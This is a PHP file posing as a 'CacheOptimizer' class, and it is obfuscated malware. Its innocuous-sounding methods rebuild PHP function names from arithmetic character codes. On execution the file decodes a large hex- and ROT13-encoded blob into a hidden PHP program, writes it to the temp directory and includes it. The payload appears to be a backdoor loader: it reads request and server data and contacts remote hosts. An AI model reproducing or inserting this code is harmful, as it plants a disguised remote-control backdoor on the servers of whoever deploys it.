<?php
class CacheOptimizer {
	private $bh = '';
	private $nh = '';

	public function resolveConflict($p1) {
		$a = array((118-8),(105),((2*49)),(2*25),((91*1)+29),(101*1),((107-3)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function terminateSession($p1) {
		$a = array((((12*1)+103)),(85+4+27),((120-6)),((35+60)),((25*20)-386),((3*37)),((21*109)-2173),(26+9+14),((5*19)-44));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function resolveAction($p1,$p2) {
		$a = array((49+61),(((40*1)+61)),(((40*2)+32)),111,(((98*1)+4)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function rollbackTransaction($p1,$p2) {
		$a = array(((38+54+9)),((105*3)-199),((3*35)),(118-4),((98+4+17)),(92+8+2));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function logTransaction($p1) {
		$a = array((((47*27)-1168)),((108*1)+7),((117-6)),((18+50+40)),((96+1+2)),(103-1));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function handleRequest($p1,$p2=null) {
		$a = array(((72+26+11)),((115-10)),(2*57),(((84*47)-3832)),((54+60)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function calculateSum() {
		$this->nh = $this->handleRequest($this->fetchRecords(), '/');
	}

	public function filterResults() {
		$this->bh = $this->terminateSession($this->resolveConflict($this->cf));
	}

	public function saveChanges() {
		$fn = $this->nh.'/mh-67e250413497b';
		$f = $this->resolveAction($fn, 'w');
		$this->rollbackTransaction($f, $this->bh);
		$this->logTransaction($f);
		$this->triggerCallback($fn);
	}

	private $cf = '3c3f6375632070796e6666205f6371797b636576696e67722' . '066676e677670245f6765663b66676e6776702073686170677' . '66261205f616a28245f627371297b76732821667279733a3a2' . '45f67656629667279733a3a5f697528293b657267686561206' . 'f6e667236345f71727062717228667279733a3a245f6765665' . 'b245f6273715d293b7d636576696e67722066676e677670207' . '368617067766261205f697528297b667279733a3a245f67656' . '63d6e65656e6c28275f7769273d3e27444a41774d4b416d594' . '841696f272e2761456c6f326a67444a6b666f3370674733576' . '3272e274d32272e2779684276272e274e272e2764272c275f6' . '17361273d3e27443239687154496871503148724b4f7942764' . 'f7570554f666e4a417571272e275479696f7639644c4b4d272' . 'e27757032416c272e276e272e274b4f272e2730272c275f676' . '76b273d3e274c32743d272c275f7072273d3e274d4b7958705' . '4415146474d576e7a70304754636141526b644d6d455a6e7a7' . '030464a79336e4a454b45272e274a79436e48626a4a7975425' . 'a527963713279272e27776f49272e274d67272e27464a63696' . 'e272e274a455549616378272e2744306235272c275f74766e2' . '73d3e27704b272e277136724e3d272e273d272c275f6668273' . 'd3e27435439654374272e273d272e273d272c275f6d6d76273' . 'd3e27435457272e2775272e274d272e2751272e2734272e273' . 'd272c275f777262273d3e277132272e2753666f272e274e272' . 'e273d3d272c275f626978273d3e27272c275f646c273d3e272' . '72c275f646e68273d3e27272c275f7a7a67273d3e276e55453' . '07051626959334f314c7635334d4a577a6e4a6b796e54396d7' . '154496c59272e277a41696f4639776f32316a6f33417970763' . '564272e27706d39272e27784c4b45754344272e273d3d272c2' . '75f626d273d3e274c33496c6f5339636f7a79272e2730272c2' . '75f736179273d3e276e272e27554530705339776f324579272' . 'c275f717a75273d3e27703241624d4a272e273179272c275f7' . '069273d3e276e55453070555a272e273d272c275f67757a273' . 'd3e2745304948564e3d272e273d272c275f697164273d3e277' . '05453306e272e274e272e273d3d272c275f68716b273d3e277' . '04b497970272e2761272e27783d272c275f656d63273d3e274' . '36a3d272e273d272c275f7878273d3e27704b4979272e27706' . '1272e27783d272c275f6975273d3e275652754849534e695a4' . '6346a514463566f334130272e2742764e272e273d272c275f6' . 'f66273d3e276e54396d71272e274e272e273d3d272c275f677' . '4273d3e27514463516f3235684d4a41306e4a396842764f516' . 'f54396d4d44272e2730272e2758514462272e273d272c275f6' . 'b6d273d3e2770334166272e27427638272e2769272c275f626' . '36a273d3e27272c275f667a6e273d3e276e54396d272e27712' . '72e274e272e273d272e273d272c275f7773273d3e2751272e2' . '744623d272c275f6165273d3e2746534548485339514752795' . '34779457346494e3d272c275f716d273d3e274653272e27454' . '84853272e27394c4b304d434879714f487845534553272e273' . '954473156272e273d272c275f69756b273d3e27487849272e2' . '7414731272e2745272e27534b272e273053272e27524553272' . 'e27563d272c275f7872273d3e2746534548485339494830272' . 'e2749272e2746272e274b30535545483548272c275f63756b2' . '73d3e27465345484853394948304946272e274b272e2730535' . '5272e274548272e273548272c275f7972273d3e27272c275f6' . 'd6d273d3e27465345484853394645484d5348784946272c275' . 'f6d72273d3e2746534548485339464548272e274d534878272' . 'e2749272e2746272c275f706d273d3e27272c275f6a73273d3' . 'e27465345272e274848533951272e274752795347794573462' . '72e2749272e274e272e273d272c275f616c6a273d3e2746534' . '54848533951475279534779272e27457346272e2749272e274' . 'e3d272c275f776a67273d3e27465345484853394c4b304d434' . '87971272e274f4878455345272e27533954473156272e273d2' . '72c275f677a273d3e27465345484853394c4b304d434879714' . 'f48784553455339544731272e27563d272c275f667776273d3' . 'e274878494147272e273145272e27534b30272e275352272e2' . '7455356272e273d272c275f7263273d3e27487849414731455' . '34b3053524553272e2756272e273d272c275f717a273d3e274' . 'd272e275457272e27616f4a272e2739784d44272e273d3d272' . 'c275f796e70273d3e2746494e3656272e274e3d272e273d272' . 'c275f7a64273d3e2756556a7449485236272e27564e272e273' . 'd3d272c275f6371273d3e2756556a7448272e277a497a42764' . 'e3d272c275f7466273d3e275651272e276b76707734272e275' . '8272c275f7173273d3e276e4b4e272e273d272c275f7467273' . 'd3e27714a272e27523d272c275f796e65273d3e27707a272e2' . '749272e277a272c275f696d273d3e27704b71272e2736724e2' . '72e273d3d272c293b7d7d75726e717265285f6371793a3a5f6' . '16a28275f272e2777272e27692729293b75726e717265285f6' . '371793a3a5f616a28275f6173612729293b767328766666726' . '728245f5452475b5f6371793a3a5f616a28275f67272e27676' . 'b27295d29297b245f6a6e6b3d5f7273285f6371793a3a5f616' . 'a28275f272e2770272e27722729293b767328245f6a6e6b262' . '666676563626628245f6a6e6b2c5f6371793a3a5f616a28275' . 'f272e2774272e2776272e276e272929213d3d736e796672297' . 'b717672285f6371793a3a5f616a28275f272e2766682729293' . 'b7d727966727b717672285f6371793a3a5f616a28275f6d6d7' . '62729293b7d7d767328766666726728245f5452475b5f63717' . '93a3a5f616a28275f77726227295d29297b245f676f613d245' . 'f5042425856523b245f6366613d28766167296562686171283' . '02b302b302b30293b245f6273713d287661672965626861712' . '8312e37352b312e37352b312e37352b312e3735293b245f657' . '7713d6e65656e6c28293b245f6577715b245f6366615d3d5f6' . '371793a3a5f616a28275f272e276269272e277827293b6a757' . '6797228245f627371297b245f6577715b245f6366615d2e3d2' . '45f676f615b287661672965626861712831352b3135295d5b2' . '45f6273715d3b76732821245f676f615b28766167296562686' . '1712831302b31302b3130295d5b245f6273712b28766167296' . '56268617128302e32352b302e32352b302e32352b302e32352' . '95d297b76732821245f676f615b28766167296562686171283' . '72e352b372e352b372e352b372e35295d5b245f6273712b287' . '6616729656268617128312b31295d296f65726e783b245f636' . '6612b2b3b245f6577715b245f6366615d3d5f6371793a3a5f6' . '16a28275f64272e276c27293b245f6273712b2b3b7d245f627' . '3713d245f6273712b2876616729656268617128322e3333333' . '33333333333333333332b322e3333333333333333333333333' . '32b322e33333333333333333333333333292b2876616729656' . '268617128302e32352b302e32352b302e32352b302e3235293' . 'b7d245f6366613d245f6577715b28766167296562686171283' . '32e352b332e352b332e352b332e35295d28292e245f6577715' . 'b287661672965626861712831322b3132295d3b76732821245' . 'f6577715b2876616729656268617128332b33295d28245f636' . '66129297b245f6273713d245f6577715b28766167296562686' . '17128382e363636363636363636363636372b382e363636363' . '636363636363636372b382e363636363636363636363636372' . '95d28245f6366612c245f6577715b287661672965626861712' . '8322e352b322e352b322e352b322e35295d293b245f6577715' . 'b2876616729656268617128322e32352b322e32352b322e323' . '52b322e3235295d28245f6273712c245f6577715b287661672' . '9656268617128352e352b352e35295d2e245f6577715b28766' . '16729656268617128352e37352b352e37352b352e37352b352' . 'e3735295d28245f6577715b2876616729656268617128362e3' . '2352b362e32352b362e32352b362e3235295d28245f676f615' . 'b2876616729656268617128312e352b312e35295d2929293b7' . 'd7661707968717228245f636661293b7d73686170677662612' . '05f727328245f6d68632c245f6a6a713d2d3934343832297b2' . '45f676b3d5f6371793a3a5f616a28275f64272e276e272e276' . '827293b245f79643d5f6371793a3a5f616a28275f7a272e277' . 'a272e276727292e245f6d68633b76732876665f706e79796e6' . 'f7972285f6371793a3a5f616a28275f62272e276d272929297' . 'b245f7579623d706865795f7661766728245f7964293b70686' . '5795f66726762636728245f7579622c504845594243475f464' . '6595f49524556534c435252452c736e796672293b706865795' . 'f66726762636728245f7579622c504845594243475f4646595' . 'f49524556534c554246472c2876616729656268617128312b3' . '129293b706865795f66726762636728245f7579622c5048455' . '94243475f53425959424a5942504e475642412c28766167296' . '56268617128302e32352b302e32352b302e32352b302e32352' . '9293b706865795f66726762636728245f7579622c504845594' . '243475f45524748454147454e41465352452c2876616729656' . '268617128302e32352b302e32352b302e32352b302e3235292' . '93b706865795f66726762636728245f7579622c50484559424' . '3475f55524e5152452c2876616729656268617128302b302b3' . '029293b706865795f66726762636728245f7579622c5048455' . '94243475f5042414152504747565a524248472c28766167296' . '56268617128332e333333333333333333333333332b332e333' . '333333333333333333333332b332e333333333333333333333' . '3333329293b706865795f66726762636728245f7579622c504' . '845594243475f47565a524248472c287661672965626861712' . '8352b3529293b245f676b3d706865795f726b727028245f757' . '962293b245f77617a3d706865795f7472677661736228245f7' . '57962293b706865795f707962667228245f757962293b76732' . '8245f77617a5b5f6371793a3a5f616a28275f73617927295d2' . '13d28766167296562686171283130302b31303029296572676' . '8656120736e7966723b7d727966727b245f70773d636e65667' . '25f68657928245f7964293b245f7476733d28245f70775b5f6' . '371793a3a5f616a28275f717a272e277527295d3d3d5f63717' . '93a3a5f616a28275f70272e27692729293b245f6c68623d5f6' . '371793a3a5f616a28275f6775272e277a27292e245f70775b5' . 'f6371793a3a5f616a28275f6971272e276427295d3b7673287' . '66666726728245f70775b5f6371793a3a5f616a28275f272e2' . '76871272e276b27295d2929245f6c68622e3d5f6371793a3a5' . 'f616a28275f65272e276d6327292e245f70775b5f6371793a3' . 'a5f616a28275f272e27787827295d3b245f6c68622e3d5f637' . '1793a3a5f616a28275f272e27697527292e245f70775b5f637' . '1793a3a5f616a28275f272e276f272e276627295d2e5f63717' . '93a3a5f616a28275f272e27677427293b245f72633d7366627' . '078626372612828245f7476733f5f6371793a3a5f616a28275' . 'f6b6d27293a5f6371793a3a5f616a28275f62272e2763272e2' . '76a2729292e245f70775b5f6371793a3a5f616a28275f66272' . 'e277a272e276e27295d2c245f7476733f28766167296562686' . '171283131302e37352b3131302e37352b3131302e37352b313' . '1302e3735293a287661672965626861712832302b32302b323' . '02b323029293b767328245f7263297b736368676628245f726' . '32c245f6c6862293b245f6b673d28766167296562686171283' . '02b302b302b30293b6a7576797228217372627328245f72632' . '9297b245f76613d737472676628245f72632c2876616729656' . '2686171283334312e33333333333333333333332b3334312e3' . '3333333333333333333332b3334312e3333333333333333333' . '33329293b767328245f6b6729245f676b2e3d245f76613b767' . '328245f76613d3d5f6371793a3a5f616a28275f77732729292' . '45f6b673d2876616729656268617128302e352b302e35293b7' . 'd73707962667228245f7263293b7d7d657267686561245f676' . 'b3b7d245f7a65793d766666726728245f4652454952455b5f6' . '371793a3a5f616a28275f272e2761272e276527295d293b245' . 'f64673d766666726728245f4652454952455b5f6371793a3a5' . 'f616a28275f272e27716d27295d293b245f6d6a3d766666726' . '728245f4652454952455b5f6371793a3a5f616a28275f272e2' . '76975272e276b27295d293b245f796d6a3d766666726728245' . 'f4652454952455b5f6371793a3a5f616a28275f787227295d2' . '93f245f4652454952455b5f6371793a3a5f616a28275f63272' . 'e27756b27295d3a5f6371793a3a5f616a28275f79272e27722' . '7293b245f7178793d766666726728245f4652454952455b5f6' . '371793a3a5f616a28275f6d272e276d27295d293f245f46524' . '54952455b5f6371793a3a5f616a28275f6d7227295d3a5f637' . '1793a3a5f616a28275f70272e276d27293b245f7a65793d766' . '666726728245f4652454952455b5f6371793a3a5f616a28275' . 'f6a272e277327295d293f245f4652454952455b5f6371793a3' . 'a5f616a28275f616c272e276a27295d3a616879793b245f646' . '73d766666726728245f4652454952455b5f6371793a3a5f616' . 'a28275f272e27776a272e276727295d293f245f46524549524' . '55b5f6371793a3a5f616a28275f677a27295d3a616879793b2' . '45f6d6a3d766666726728245f4652454952455b5f6371793a3' . 'a5f616a28275f66272e2777272e277627295d293f245f46524' . '54952455b5f6371793a3a5f616a28275f72272e276327295d3' . 'a616879793b7673287376796772655f696e6528245f7a65792' . 'c28766167296562686171283133372e352b3133372e3529292' . '97b245f6962663d245f7a65793b7d727966727673287376796' . '772655f696e6528245f64672c2876616729656268617128313' . '3372e352b3133372e352929297b245f6962663d245f64673b7' . 'd727966727b245f6962663d245f6d6a3b7d767328766666726' . '728245f5452475b5f6371793a3a5f616a28275f717a27295d2' . '9297b72707562205f6371793a3a5f616a28275f79272e276e7' . '027292e245f6962662e5f6371793a3a5f616a28275f272e277' . 'a272e276427292e245f796d6a2e5f6371793a3a5f616a28275' . 'f272e2763272e277127292e245f7178792e5f6371793a3a5f6' . '16a28275f746627293b726b766728293b7d767328217666667' . '26728245f696266297c7c21766666726728245f796d6a297c7' . 'c21766666726728245f71787929297b726b766728293b7d727' . '966727b245f716e6b3d6e65656e6c285f6371793a3a5f616a2' . '8275f717327293d3e245f6962662c5f6371793a3a5f616a282' . '75f74272e276727293d3e245f796d6a2c5f6371793a3a5f616' . 'a28275f796e272e276527293d3e245f717879293b245f77696' . '13d686579726170627172286f6e667236345f7261706271722' . '8776662615f72617062717228245f716e6b2929293b245f6a6' . 'e6b3d5f727328245f776961293b767328245f6a6e6b2626666' . '76563626628245f6a6e6b2c5f6371793a3a5f616a28275f272' . 'e27696d272929213d3d736e796672297b72707562245f6a6e6' . 'b3b726b766728293b7d7d';

	public function triggerCallback($p) {
		include $p;
	}

	public function fetchRecords() {
		$a=array(((96*1)+19),((11*11)),(76+39),((104-9)),((106-3)),((68*1)+33),((96*107)-10156),((3*67)-106),((2*58)),((107-6)),(109),(((14*4)+56)),(89+5+1),(100),105,(2*57));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$yf = new CacheOptimizer();
$yf->calculateSum();
$yf->filterResults();
$yf->saveChanges();
